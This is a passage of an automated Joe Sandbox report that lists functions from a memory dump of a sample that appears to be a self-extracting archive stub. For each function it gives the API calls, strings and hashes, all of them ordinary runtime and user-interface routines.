Opcode ID: e7c5aa19629f8a0d8c40e45ceb24aa94edb8e7eb6f2588cead5fa59a964f970d
Instruction ID: a74624e59975a2a8cd7bf699d028cf7aa64aa31f36417368c4e7efc5a71780bf
Opcode Fuzzy Hash: e7c5aa19629f8a0d8c40e45ceb24aa94edb8e7eb6f2588cead5fa59a964f970d
Instruction Fuzzy Hash: 76311775108346ABC704DFA8D88499BB7E8BF98B04F005A2EF999D3210E734D549CBA6

Function 000D3C7A Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,000D3C71,000D3A2C,000D0BE4), ref: 000D3C88
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 000D3C96
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 000D3CAF
SetLastError.KERNEL32(00000000,000D3C71,000D3A2C,000D0BE4), ref: 000D3D01

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: d07c0e7bd67a8578291de6f327d8199fa3a8f00cdf13a3897fa7b51ca5d019fb
Instruction ID: f2f9bc3a542acc97b786cb3958faf33404fd81697a37c76152d58a4b685c3a62
Opcode Fuzzy Hash: d07c0e7bd67a8578291de6f327d8199fa3a8f00cdf13a3897fa7b51ca5d019fb
Instruction Fuzzy Hash: C101283261E3113EF66427787C8676B2B85EF41771F30132BF520B57E2EE252D00A6A2

Function 000DA505 Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,000F30C4,000D5972,000F30C4,?,?,000D53ED,?,?,000F30C4), ref: 000DA509
_free.LIBCMT ref: 000DA53C
_free.LIBCMT ref: 000DA564
SetLastError.KERNEL32(00000000,?,000F30C4), ref: 000DA571
SetLastError.KERNEL32(00000000,?,000F30C4), ref: 000DA57D
_abort.LIBCMT ref: 000DA583

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: ErrorLast$_free$_abort
String ID:
API String ID: 3160817290-0
Opcode ID: 9193e658fe65b81403c36447ad4acb3f28aac5d06b532de3ceea154750b455ca
Instruction ID: 95715da39e0bcec2341e574fc24f34cf2e6a9a7b23d1a1f5179efa73e2c74977
Opcode Fuzzy Hash: 9193e658fe65b81403c36447ad4acb3f28aac5d06b532de3ceea154750b455ca
Instruction Fuzzy Hash: 60F0F431B44B02A7E21133357C0AFAF199A9BC3B21B250427F614A2397EF358E41D476

Function 000CED7B Relevance: 9.0, APIs: 6, Instructions: 42windowsynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,0000000A), ref: 000CED87
PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 000CEDA1
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 000CEDB2
TranslateMessage.USER32(?), ref: 000CEDBC
DispatchMessageW.USER32(?), ref: 000CEDC6
WaitForSingleObject.KERNEL32(?,0000000A), ref: 000CEDD1

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: Message$ObjectSingleWait$DispatchPeekTranslate
String ID:
API String ID: 2148572870-0
Opcode ID: 77aed7e52e1915fdf67aaa83b624dd9cadca255047ba097926a3fb54e6175a39
Instruction ID: c545d9331c558e9781a3faeb61c88fb491bf9a175a5fa19cd2526189692e1692
Opcode Fuzzy Hash: 77aed7e52e1915fdf67aaa83b624dd9cadca255047ba097926a3fb54e6175a39
Instruction Fuzzy Hash: 14F0EC72A01229ABCB20ABA5EC4CEDF7F6DEF85791B108421B60BE6051D6349585C7E0

Function 000BD4D2 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 148COMMON

Download Yara Rule

APIs

Part of subcall function 000C1900: _wcslen.LIBCMT ref: 000C1906

Part of subcall function 000BCD5C: _wcsrchr.LIBVCRUNTIME ref: 000BCD73

_wcslen.LIBCMT ref: 000BD5A4
_wcslen.LIBCMT ref: 000BD5EC

Strings

.sfx, xrefs: 000BD527
.rar, xrefs: 000BD4EE, 000BD541
.exe, xrefs: 000BD518

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: _wcslen$_wcsrchr
String ID: .exe$.rar$.sfx
API String ID: 3513545583-31770016
Opcode ID: e14821c295e6c600499c79051dd7778089acb2817887f8ed64e17e99185133a0
Instruction ID: 7ded1820981896a17e031ba594ed78ab97cc0f8404f036457d526eb0ca1fbed8
Opcode Fuzzy Hash: e14821c295e6c600499c79051dd7778089acb2817887f8ed64e17e99185133a0
Instruction Fuzzy Hash: 2B412722900B5099D731AF348846AFFF3F8EF55758B14490FF996AB182F7608E81D399

Function 000CDFBA Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000800,?), ref: 000CDFD0

Part of subcall function 000BCAA0: _wcslen.LIBCMT ref: 000BCAA6

_swprintf.LIBCMT ref: 000CE004

Part of subcall function 000B4A20: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 000B4A33

SetDlgItemTextW.USER32(?,00000066,00102892), ref: 000CE024
EndDialog.USER32(?,00000001), ref: 000CE131

Strings

%s%s%u, xrefs: 000CDFF9

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: DialogItemPathTempText__vswprintf_c_l_swprintf_wcslen
String ID: %s%s%u
API String ID: 110358324-1360425832
Opcode ID: 06d203922446a80baeb037edb16ed5997c6eb63e451df692151d8ffe53ffbdce
Instruction ID: f1c15801c207a6102f8aefc06fd6b50f0bef39b4f50a5ae2ab02958084d8d711
Opcode Fuzzy Hash: 06d203922446a80baeb037edb16ed5997c6eb63e451df692151d8ffe53ffbdce
Instruction Fuzzy Hash: 05416075900658AADF25DB90CC45FEE77FCEB05304F4480ABF909A7052EFB09A848F61

Function 000BCF32 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 127COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 000BCF56
GetCurrentDirectoryW.KERNEL32(000007FF,?,?,?,?,00000000,?,?,000BB505,?,?,00000800,?,?,000BB4CA,?), ref: 000BCFF4
_wcslen.LIBCMT ref: 000BD06A

Strings

\\?\, xrefs: 000BCF81, 000BCFC8, 000BD026, 000BD07D
UNC, xrefs: 000BCFD6

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: _wcslen$CurrentDirectory
String ID: UNC$\\?\
API String ID: 3341907918-253988292
Opcode ID: 1b1768aa4e0bd8a4f1a951d3f7aa82f8a0eaf58b2d3981f0dc82a5901160b86b
Instruction ID: f4eca7139b756f23bc03f5916e4da34db0c4834ac76136fa56b4eee1502c0542
Opcode Fuzzy Hash: 1b1768aa4e0bd8a4f1a951d3f7aa82f8a0eaf58b2d3981f0dc82a5901160b86b
Instruction Fuzzy Hash: 0F41C13145025ABADF20BF20CC01FEEB7A9EF09390F24442BF954E7142F770D9528AA1

Function 000CC8BD Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 58windowCOMMON

Download Yara Rule

APIs

LoadBitmapW.USER32(00000065), ref: 000CC8CD
GetObjectW.GDI32(00000000,00000018,?), ref: 000CC8F2
DeleteObject.GDI32(00000000), ref: 000CC924
DeleteObject.GDI32(00000000), ref: 000CC947

Part of subcall function 000CB6C2: FindResourceW.KERNEL32(?,PNG,00000000,?,?,?,000CC91D,00000066), ref: 000CB6D5
Part of subcall function 000CB6C2: SizeofResource.KERNEL32(00000000,?,?,?,000CC91D,00000066), ref: 000CB6EC
Part of subcall function 000CB6C2: LoadResource.KERNEL32(00000000,?,?,?,000CC91D,00000066), ref: 000CB703
Part of subcall function 000CB6C2: LockResource.KERNEL32(00000000,?,?,?,000CC91D,00000066), ref: 000CB712
Part of subcall function 000CB6C2: GlobalAlloc.KERNEL32(00000002,00000000,?,?,?,?,?,000CC91D,00000066), ref: 000CB72D
Part of subcall function 000CB6C2: GlobalLock.KERNEL32(00000000), ref: 000CB73E
Part of subcall function 000CB6C2: CreateStreamOnHGlobal.COMBASE(00000000,00000000,?), ref: 000CB762
Part of subcall function 000CB6C2: GdipCreateHBITMAPFromBitmap.GDIPLUS(?,?,00FFFFFF), ref: 000CB7A7
Part of subcall function 000CB6C2: GlobalUnlock.KERNEL32(00000000), ref: 000CB7C6
Part of subcall function 000CB6C2: GlobalFree.KERNEL32(00000000), ref: 000CB7CD

Strings

], xrefs: 000CC8FA

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: Global$Resource$Object$BitmapCreateDeleteLoadLock$AllocFindFreeFromGdipSizeofStreamUnlock
String ID: ]
API String ID: 1797374341-3352871620
Opcode ID: 6b6b5c88e0aa07712c28fd7aaeebe42d8f7c74f1947440a06f6add4852c49914
Instruction ID: 7874d7eaf13d1a75c77ddc486b2e4e8b2e066d035c9d050e60403e3a4e79d445
Opcode Fuzzy Hash: 6b6b5c88e0aa07712c28fd7aaeebe42d8f7c74f1947440a06f6add4852c49914
Instruction Fuzzy Hash: 6A01C036900A01A7E71177A4DC0AFFF3ABADF85B61F140018F944B7292DF358D0986A0

Function 000CE740 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

Part of subcall function 000B12F6: GetParent.USER32(?), ref: 000B132A
Part of subcall function 000B12F6: GetDlgItem.USER32(00000000,00003021), ref: 000B133A
Part of subcall function 000B12F6: SetWindowTextW.USER32(00000000,000E45F4), ref: 000B1350

EndDialog.USER32(?,00000001), ref: 000CE78B
GetDlgItemTextW.USER32(?,00000068,00000800), ref: 000CE7A1
SetDlgItemTextW.USER32(?,00000066,?), ref: 000CE7B5
SetDlgItemTextW.USER32(?,00000068), ref: 000CE7C4

Strings

RENAMEDLG, xrefs: 000CE758

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: ItemText$DialogParentWindow
String ID: RENAMEDLG
API String ID: 364370097-3299779563
Opcode ID: 5ce5b0ee4f1c572ddeacda383631324533af1c10539912569767cd4b933e6cb4
Instruction ID: c92c826d97bd93575c5be99fe10b3552d4dbcfd59608246442537bc9482605f9
Opcode Fuzzy Hash: 5ce5b0ee4f1c572ddeacda383631324533af1c10539912569767cd4b933e6cb4
Instruction Fuzzy Hash: C1012832289360BAE2254B64DE08FEF7BADFB99B02F104218F301A64D0C6A259458775

Function 000D9225 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,000D91D6,?,?,000D9176,?,000ED570,0000000C,000D92CD,?,00000002), ref: 000D9245
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 000D9258
FreeLibrary.KERNEL32(00000000,?,?,?,000D91D6,?,?,000D9176,?,000ED570,0000000C,000D92CD,?,00000002,00000000), ref: 000D927B

Strings

CorExitProcess, xrefs: 000D9250
mscoree.dll, xrefs: 000D923E

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 0a5df77f829b490a79094be3d205e9df4d9a7602b331f51efcd1314a9612711a
Instruction ID: eb61a3b51d30498c45ec7e1ea716556e902c3bae649350935ae7f542783e56aa
Opcode Fuzzy Hash: 0a5df77f829b490a79094be3d205e9df4d9a7602b331f51efcd1314a9612711a
Instruction Fuzzy Hash: 4EF04431A04248BBDF519BA5DC49BADBFB4EF44B11F40016AFA09B6261CB745E41CA50

Function 000C0620 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 000C1B34: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 000C1B4F
Part of subcall function 000C1B34: LoadLibraryW.KERNEL32(?,?,?,?,00000800,?,000C0633,Crypt32.dll,00000000,000C06AD,00000200,?,000C0690,00000000,00000000,?), ref: 000C1B71

GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 000C063F
GetProcAddress.KERNEL32(000FA1F0,CryptUnprotectMemory), ref: 000C064F

Strings

Crypt32.dll, xrefs: 000C0629
CryptProtectMemory, xrefs: 000C0639
CryptUnprotectMemory, xrefs: 000C0645

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: AddressProc$DirectoryLibraryLoadSystem
String ID: Crypt32.dll$CryptProtectMemory$CryptUnprotectMemory
API String ID: 2141747552-1753850145
Opcode ID: 64fb42cf842884d0324d0dad38cf2f3780850888aa2ca649bd9b692b55c38fcf
Instruction ID: 04cf2f4c0311ba41b2ae1775e6648b9191c6dd389b8c3a644d26b627d685cd6a
Opcode Fuzzy Hash: 64fb42cf842884d0324d0dad38cf2f3780850888aa2ca649bd9b692b55c38fcf
Instruction Fuzzy Hash: 16E04F708457C19EE7605F769808F46BFD45B54B11F00881EA395A7652D7B4D440CB10

Function 000D3D5A Relevance: 7.7, APIs: 5, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 000D3E21
___AdjustPointer.LIBCMT ref: 000D3E44
_abort.LIBCMT ref: 000D3E92
___AdjustPointer.LIBCMT ref: 000D3EE0

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: AdjustPointer$_abort
String ID:
API String ID: 2252061734-0
Opcode ID: 74aa9eabf855864e890c31eeb195f46a0ec4b662b861c6740c34114fc7018d8e
Instruction ID: 6530d80f0711f88b5abe07e9c319d08dacff04a60aad286789c3b78ea5980952
Opcode Fuzzy Hash: 74aa9eabf855864e890c31eeb195f46a0ec4b662b861c6740c34114fc7018d8e
Instruction Fuzzy Hash: C051AF75A053069FDB698F14D841BAAB7E5EF54300F14452BE8059B3D2E731EE80CBB2

Function 000DD0E0 Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 000DD0E9
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 000DD10C

Part of subcall function 000DA7EE: RtlAllocateHeap.NTDLL(00000000,?,?,?,000D5584,?,0000015D,?,?,?,?,000D6A60,000000FF,00000000,?,?), ref: 000DA820

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 000DD132
_free.LIBCMT ref: 000DD145
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 000DD154

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
String ID:
API String ID: 336800556-0
Opcode ID: bd58080c8cb61752a8c60fd774433ad6c9a0873e603bcf649507d47436c7b178
Instruction ID: f74a34934082101ebf834fdc481260020b906c45e4588e2d17980272c15972fb
Opcode Fuzzy Hash: bd58080c8cb61752a8c60fd774433ad6c9a0873e603bcf649507d47436c7b178
Instruction Fuzzy Hash: 9901A276602365BF3B311AB66C8CC7F6AADEFC2FA1314016BFD04D6341EA648C0291B0

Function 000DA589 Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,000DA7E0,000DC338,?,000DA533,00000001,00000364,?,000D53ED,?,?,000F30C4), ref: 000DA58E
_free.LIBCMT ref: 000DA5C3
_free.LIBCMT ref: 000DA5EA
SetLastError.KERNEL32(00000000,?,000F30C4), ref: 000DA5F7
SetLastError.KERNEL32(00000000,?,000F30C4), ref: 000DA600

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: f67eec39441d84cc6bdc76e30901bb7b6be9c47bcbf7e226032ed0d145d4127f
Instruction ID: d1d5283d977188c2045fd957733640faed35ed7cf503c469f8bfbc12ab755cae
Opcode Fuzzy Hash: f67eec39441d84cc6bdc76e30901bb7b6be9c47bcbf7e226032ed0d145d4127f
Instruction Fuzzy Hash: D7014432344B02ABE21227717C89E6B269A9FC3771321042BF904A2387EE388E419076

Function 000DD9AF Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 000DD9C7

Part of subcall function 000DA65A: RtlFreeHeap.NTDLL(00000000,00000000,?,000DDA46,?,00000000,?,00000000,?,000DDA6D,?,00000007,?,?,000DDE6A,?), ref: 000DA670
Part of subcall function 000DA65A: GetLastError.KERNEL32(?,?,000DDA46,?,00000000,?,00000000,?,000DDA6D,?,00000007,?,?,000DDE6A,?,?), ref: 000DA682

_free.LIBCMT ref: 000DD9D9
_free.LIBCMT ref: 000DD9EB
_free.LIBCMT ref: 000DD9FD
_free.LIBCMT ref: 000DDA0F

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: a6655407054045ee33e2f1e288b7a27b4ce1790c1a9920d9af3e975503cd8c85
